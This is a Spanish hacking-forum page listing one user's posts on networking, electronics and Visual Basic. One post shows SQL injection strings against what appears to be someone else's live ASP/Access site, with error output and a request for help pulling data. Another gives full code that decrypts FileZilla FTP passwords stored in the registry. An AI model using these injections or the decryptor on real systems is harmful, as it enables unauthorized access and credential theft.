elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Recopilación Tutoriales y Manuales Hacking, Seguridad, Privacidad, Hardware, etc


  Mostrar Temas
Páginas: [1] 2
1  Sistemas Operativos / GNU/Linux / Duda: ¿Cómo puedo aprovechar dos interfaces de red? en: 13 Julio 2011, 15:25 pm
Tengo una duda que en Windows más o menos he conseguido resolver, pero en linux me ha sido imposible. Tengo dos interfaces de red, una cableada y otra inalámbrica conectados a puntos de acceso distintos y, por tanto, dos ISP's diferentes.

He estado mirando muchas teorías sobre la suma de ambas redes y, lógicamente tal y como suena no se puede. Pero lo que yo quiero es que cuando descargas un archivo por segmentos, que cada conexión al servidor sea desde una interfaz de red distinta, en vez de utilizar uno de los NIC's cuando el otro está saturado, haciendo el efecto de la suma de ancho de banda de los dos ISP.

He intentado configurar el balanceo de carga pero sin resultado alguno.

Antes de que digáis que no se puede, en Windows se ha conseguido mediante el programa Wingate, que intercala el trafico por cada conexión a un servidor entre dos interfaces de red consiguiendo aprovechar la banda ancha de ambos por el protocolo HTTP. http://foro.elhacker.net/redes/2_o_mas_cabldemodems_en_un_pc_se_pude-t145261.0.html

PD: No robo redes wifi's ajenas, simplemente que en el instituto politécnico al que voy tienen dos ISP's distintos, uno via wifi y otro via ethernet, y como prueba de concepto me gustaría alcanzar la mayor velocidad de descarga.
2  Seguridad Informática / Wireless en Linux / Problema con airodump-ng y clientes en: 3 Octubre 2009, 02:48 am
Tengo un problema con una nueva tarjeta inalámbrica que compre hace un par de días. La tarjeta es una TP-LINK TL-WN422G con chipset ZyDAS. (driver ZyDAS 1211)

El caso es que me la compré para tener conexión Wi-Fi en mi viejo portátil y, ya de paso, probar un poco de auditoría wireless en él, pero cuando estoy con airodump-ng detectando las redes que hay por los alrededores no hay ningún cliente que se muestre asociado a un punto de acceso [todos salen como (Not Associated)].
La versión del kernel de Linux que tengo instalado en el sistema ahora mismo es "2.6.29.4-167-fc11.i686" y la de la suite aircrack la última version del svn.
He probado con una Conceptronic y funciona correctamente, mostrando todos los clientes asociados a sus respectivos puntos de acceso.

Espero alguna sugerencia de por qué puede estar fallando.

Un saludo y gracias.
3  Programación / Programación Visual Basic / Recopilacion de mis códigos fuentes en Visual Basic... en: 13 Mayo 2008, 04:26 am
Mirando la sección de Visual Basic del foro, que por cierto hacía tiempo que no entraba, me ha dado por subir mis códigos fuente de programas que puedan, más o menos, resultar interesantes y, que he fui haciendo para aprender.

http://www.megaupload.com/es/?d=9OIT3BMU
Mirror: http://www.filefactory.com/file/1cae14

A continuación explico el contenido del .RAR y para qué hace cada proyecto:
Proyecto 1: Winsock
Este proyecto muestra como utilizar el control ActiveX Winsock para la comunicación entre cliente y servidor. Para la demostración simplemente hay 3 funciones: Conectar al servidor, Mandar un MsgBox al servidor y Cerrarlo.

Proyecto 2: Editor Resident Evil PC
Este fue mi primer proyecto completo en Visual Basic, pero lo modifiqué para ser publicado. Es un editor para partidas salvadas del videojuego Resident Evil 1 para PC, que me hice para uso propio.
Está poco documentado, pero demuestra el uso de la función "Open" en forma binaria y de manera optimizada.

Proyecto 3: cifra Texto
Es un simple algoritmo de cifrado que utiliza como base de cifrado del texto la ip que se introduce.
Simplemente utiliza una suma por cada byte.

Proyecto 4: Heroes IV
Si habéis jugado al videojuego Heroes IV, y también habéis utilizado los trucos, os acordaréis la de veces que había que insertar un mismo código para conseguir algo.
Pues este programa automatizaba ese proceso.

Para los que no habéis jugado a este juego, os explico que este programa lo que hace es escribir una cadena de caracteres repetidas veces utilizando el método SendKeys de Visual basic.
EDITO: Para utilizarlo, pulsar la tecla F9 cuando está el Cuadro de Texto Seleccionado.

Proyecto 5: BaNenKy's WordPad
Un WorPad como el de windows pero inacabado por dos razones:
    1- La función deshacer no funciona correctamente.
    2- El panel de opciones está por terminar.

Los menús de Archivo, Edición... tienen la apariencia como las del Office 2003.
Nota: La barra de menús es una implementación de otro autor.
No me doy a conocer como autor del control ActiveX. El resto del programa si que ha sido escrito por mí.

Proyecto 6: Proyecto GenExe
Este quizá, es el proyecto que más me gusta.
Su función es coger cualquier archivo, generalmente un ejecutable, y lo convierte a una función en un módulo, con el contenido en hexadecimal del archivo ejecutable dentro del módulo.
Así, lo único que hay que hacer para generar el ejecutable es llamar a la función GenerarExe("NombreArchivo.exe").
Claro que esto lo hice antes de que se me ocurriera que en el mismo ejecutable generado se puede juntar otro archivo.

Proyecto 7: Ventana con Skin
Este proyecto muestra cómo crear una ventana personalizada. Se puede incluir en el proyecto con poco código, incluso modificarlo a tu gusto. Tan sólo hay que copiar la matriz de controles que hay en el formulario, en el caso de un command button.


Lista de MODULOS que fuí creando o recopilando:
NOTA: Si el módulo es una clase, hay que tratarlo como un objeto y crear una instancia para él. Antes de usarlo, por ejemplo en un commando buton, creamos el objeto con:
Dim NuevoObjeto As New clsClase
clsClase.FuncionPublica()


En caso contrario, simplemente para utilizarlo hay que llamar a las funciones públicas.
BuscarTexto.bas - Una simple función que busca una cadena dentro de otra, y devuelve la posición.

CARPETA: ARCHIVOS
    modKillMe.bas - Cierra el programa que se ejecuta y lo elimina utilizando un bat creado por el programa.

CARPETA: ENCRIPTACIÓN
    Base64.bas - Funciones para el cifrado y descifrado de textos en BASE64.
    BlowfishCrypt.bas - Funciones para el cifrado y descifrado de textos mediante el algoritmo BlowFish
    cifrado Atbash.bas - Funciones para el cifrado y descifrado de textos con el algoritmo AtBash.
    MD5.bas - Función para la generación del hash MD5. Llamar a la función Hash = CalculateMD5("Texto") para utilizarlo.

CARPETA: Matematicas
    Calculadora.bas - Funciones matemáticas básicas para números muy largos. No he probado el máximo, pero más de 200 digitos seguro.
    CambioBase.bas - Convierte un número de cualquier base a cualquier base. Por ejemplo, de base 10 a base 16 o de base 10 a base 36.
    DNI.bas - Cálculo de la letra del DNI. Útil si estás programando un programa de contabilidad, y necesitas que te haga esta función.
    NumerosPrimos.bas - ¿Es el número introducido primo?

CARPETA: Windows
    Acciones con archivos.bas - Llamada a las API's de windows para COPIAR y BORRAR un archivo.
    clsScreenCapture.cls - Función que hace una llamada a las API's de windows y realiza una captura de pantalla para guardarla en un archivo de formato BMP.
    Editor Archivos INI.bas - Funciones para el control de los archivos INI.
    Editor Registro .bas - Funciones para el control del registro de windows mediante llamadas a las API's de windows.
    FormSiempreVisible.bas - Función para activar el primer plano de un formulario, para que de esta manera, siempre sea visible.
    IconSystemTray.bas - Funciones simples para el control de la barra de tareas de windows, e introducir un icono de tu programa en él.
    MenuBitmap.bas - Función para poner iconos en la barra de menús de tu formulario con solo 3 llamadas a las API's de windows.
    modProcesos.bas - Un módulo con funciones que hice hace tiempo para el control de los procesos. Obtiene la lista de los procesos que se están ejecutando actualmente y tienes la posibilidad de cargártelos con otra llamada a la API de windows.
    OverMousePicture.bas - Este módulo controla cuando el ratón está encima de cualquier control o PictureBox. (Utilizado en el Proyecto 7).
    PintarFormDegradado.bas - Mítica función para hacer un degradado como fondo en un formulario, tipo de los programas de instalación de hace varios años.

¡Un saludo! Y espero que os sea útil.
4  Seguridad Informática / Nivel Web / Ayuda con MS Access SQL Injection... en: 7 Mayo 2008, 20:24 pm
¡Hola a todos! Os cuento mi pequeño reto que tengo entre yo y un servidor :P.
El caso es que he encontrado una página vulnerable a la Inyección SQL, el problema es muy gordo, y es que estoy bastante perdido con los comandos de este servidor.

Empiezo escribiendo por donde le entré:
Código:
programa.asp?NUMERO=48796543'%20AND%201=1

El valor de NUMERO es existente, pero me devolvió lo siguiente:
Código:
Microsoft JET Database Engine error '80040e14'

Syntax error in string in query epresionje '(((tabla.NUMERO) = '48796543' AND 1=1'))'.

programa.asp, line 214

Ahí me doy cuenta de los paréntesis. Están mal colocados. Por tanto prosigo a cambiarlos de lugar:
Código:
programa.asp?NUMERO=48796543'))%20AND%201=(('1

Y devuelve:
Código:
Microsoft JET Database Engine error '80040e07'

Data type mismatch in criteria epresionje.

programa.asp, line 214

Así también me da error, pero como en la primera consulta hemos conseguido la tabla y la columna a la que accede, intento obtener algún resultado:
Código:
programa.asp?NUMERO=48796543'))%20UNION%20SELECT%20*%20FROM%20tabla%20WHERE%20((NUMEROS='48796543%00

A mi entender, escribí esta consulta en la que debería de aparecer un valor verdadero si existe, ¿no?..... Pues no.... jeje:
Código:
Microsoft JET Database Engine error '80040e14'

The number of columns in the two selected tables or queries of a union query do not match.

programa.asp, line 214

En fin. He probado muchas consultas más, y estoy un poco harto. Empecé con mi servidor local y haciéndome prácticas de SQL Injection y Blind SQL Injection, y satisfactoriamente conseguido. Ahora con este, no se obtener tablas o si se pueden conseguir ficheros del servidor (tipo en el Blind SQL Injection con la base de datos MySQL)...

Espero que me echéis una manita...

¡Un saludo!
5  Informática / Electrónica / ¿Algún proyecto con infrarrojos y pic? en: 14 Julio 2007, 15:33 pm
He estado buscando y lo único que he encontrado es esta página. Pero me interesa encontrar algún proyecto que el receptor pueda aprovechar el mando de una minicadena antigua, una tele... y esté escrito en C.

También si alguien me puede dar alguna referencia de como utilizar un relé para otro proyecto. Necesito hacer que interrumpa o deje pasar la corriente alterna de 220V controlado con un pic utilizando 3V corriente contínua.

Espero haberme explicado bien.
¡Saludos y gracias!
6  Informática / Electrónica / Alguna forma de controlar el voltaje digitalmente? en: 15 Marzo 2007, 17:05 pm
Buenas. Quería saber si hay alguna manera de controlar el voltaje, en mi caso, de un led desde un microcontrolador. Quiero hacer un array de leds de 16x1 y que no solo se enciendan y se apaguen, sino que haga un efecto "fade".
Había pensado en un principio que podría haber algún tipo de integrado que tuviera el funcionamiento de un potenciómetro, pero igual también se puede hacer de diversas formas.

Gracias de antemano.
Saludos!
7  Programación / Ingeniería Inversa / ¿Tutorial de ensamblador? en: 3 Noviembre 2005, 00:07 am
Alguien conoce algún tutorial de ensamblador con ejercicios prácticos... vamos, ¡que esté bien!

¡Saludos!
8  Programación / Programación Visual Basic / Algoritmo de desencriptación de contraseñas para FileZilla Client en: 6 Septiembre 2005, 19:20 pm
Port del programa para descifrar contraseñas del cliente ftp FileZilla de C a Visual Basic.

Colocar el código en un módulo y llamar a la función:
Código:
obtenercontraseña = DesencriptarContraseña(Contaseña)

Ejemplo:
Código:
Text2.Text = DesencriptarContraseña(Text1.Text)
Código original:
http://www.securityfocus.com/data/vulnerabilities/exploits/FileZilla_pass.c

Código:
'****************************************************************
'*   modDecryptFZilla.bas                                       *
'*   descifra las contraseñas que se almacenan en:           *
'*      HKEY_CURRENT_USER\Software\FileZilla\Recent Servers\    *
'*   por el cliente FileZilla.                                  *
'*                                                              *
'*   La función digit2char convierte de 3 en 3 de ascii a char. *
'*   La función decrypt realiza los cálculos para descifrar  *
'*   cadena obtenida con digit2char.                            *
'*                                                              *
'*   Port de C a Visual Basic por xavierote (Javier Ferre)      *
'*   Código original por: Unknown Author                        *
'****************************************************************

Option Explicit

Dim password            As String

Private Function digit2char(buff As String) As Integer
    Dim ascii_buff          As String
    Dim i                   As Integer
    Dim j                   As Integer
    Dim longitud            As Integer
    Dim tmp_buffer          As Integer
   
    longitud = Len(buff) / 3                'longitud del password
   
    For i = 0 To Len(buff) - 1 Step 3
        tmp_buffer = Mid$(buff, i + 1, 3)   'obtiene los digitos de 3 en 3 para convertir a Char
       
        If tmp_buffer > 255 Then            'Si un valor es mayor de 255, da error
            MsgBox "La contraseña introducida no es correcta debido a que el valor obtenido, cada 3 digitos, es mayor de 255." & vbCrLf & "Valor obtenido: " & tmp_buffer, vbCritical, "Error"
            Exit Function
        End If
        ascii_buff = ascii_buff & Chr$(tmp_buffer)
    Next i
   
    password = ascii_buff
    digit2char = longitud
End Function

Private Function decrypt(buff As String) As Integer
    Dim i                   As Integer
    Dim pos                 As Integer
    Dim longitud            As Integer
    Dim buffer_final        As String
    Dim convirtiendo        As Integer
    Dim operando            As Integer
    Dim resultado           As Integer
    Dim m_key               As String
   
    m_key = "FILEZILLA1234567890ABCDEFGHIJKLMNOPQRSTUVWXYZ"
   
    If (Len(buff) Mod 3) = 0 Then        'Si es múltiplo de 3, descifra
        longitud = digit2char(buff)      'A parte de convertir los números en cadena de texto, obtiene la longitud de la cadena resultante
        pos = longitud Mod Len(m_key)    'Obtiene la posición inicial para el m_key
       
        For i = 0 To longitud - 1        'Como empieza desde el 0, la longitud será uno menos
            convirtiendo = Asc(Mid$(password, i + 1, 1))      'Convierte el carácter actual en valor ascii para hacer los cálculos
            operando = Asc(Mid$(m_key, (i + 1 + pos) Mod Len(m_key), 1))     'Cálculos para la decodificación
            resultado = Int(convirtiendo Xor operando)        'Xor de las 2 variables anteriores.
           
            buffer_final = buffer_final & Chr$(resultado)     'Hallando todos los carácteres
        Next i
       
        password = buffer_final
        decrypt = longitud
       
    Else       'Si no es múltiplo de 3
        MsgBox "El password introducido no es correcto, debe ser múltiplo de 3", vbCritical, "Error"
        password = ""
    End If
End Function

Public Function DesencriptarContraseña(Pass As String) As String
decrypt Pass          'Llama a la función decrypt introduciendo el valor de la cadena Pass
DoEvents              'Espera a que se realicen los cálculos
DesencriptarContraseña = password    'Devuelve la contraseña descifrada
End Function

Saludos!!
9  Programación / Programación Visual Basic / Módulos interesantes (los módulos comprimidos zip) en: 2 Septiembre 2005, 16:55 pm
Si a alguien le pasa como a reydelmundo11 que tiene problemas de visualización con el post: http://foro.elhacker.net/index.php/topic,84901.msg393541.html#msg393541, puede descargárselo de:

http://rapidshare.de/files/4643405/apis.zip.html

Dentro del archivo:
       - modAPI.bas (Imprescindible incluirlo, contiene todas las llamadas a las API's necesarias para los siguientes módulos)
       - modDraw_Base (Contiene funciones para el manejo de gráficos)
       - modMath_Color (Contiene funciones para el cambio de colores de visual basic, RGB, CMY...
       - modFileSystem (Contiene funciones para el manejo de archivos como copiar, borrar, crear carpetas, propiedades del archivo, comprobar si existe...)
       - modTextMan (Rutinas para el manejo de cadenas de texto)
10  Programación / Programación Visual Basic / Módulos interesantes (manejo de ficheros, de texto, de gráficos.....) en: 2 Septiembre 2005, 16:22 pm
Los siguientes módulos son para:
       - Llamadas de api's de windows
       - Funciones para convertir tipos de colores (RGB, CMY..)
       - Funciones de dibujo
       - Funciones para el manejo de archivos
       - Funciones para manejo de cadenas

Desde ya, SALUDOS!!!

Actualizado a un solo archivo en:
http://foro.elhacker.net/programacion_vb/modulos_interesantes_los_modulos_comprimidos_zip-t84904.0.html;msg393560#msg393560
Páginas: [1] 2
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines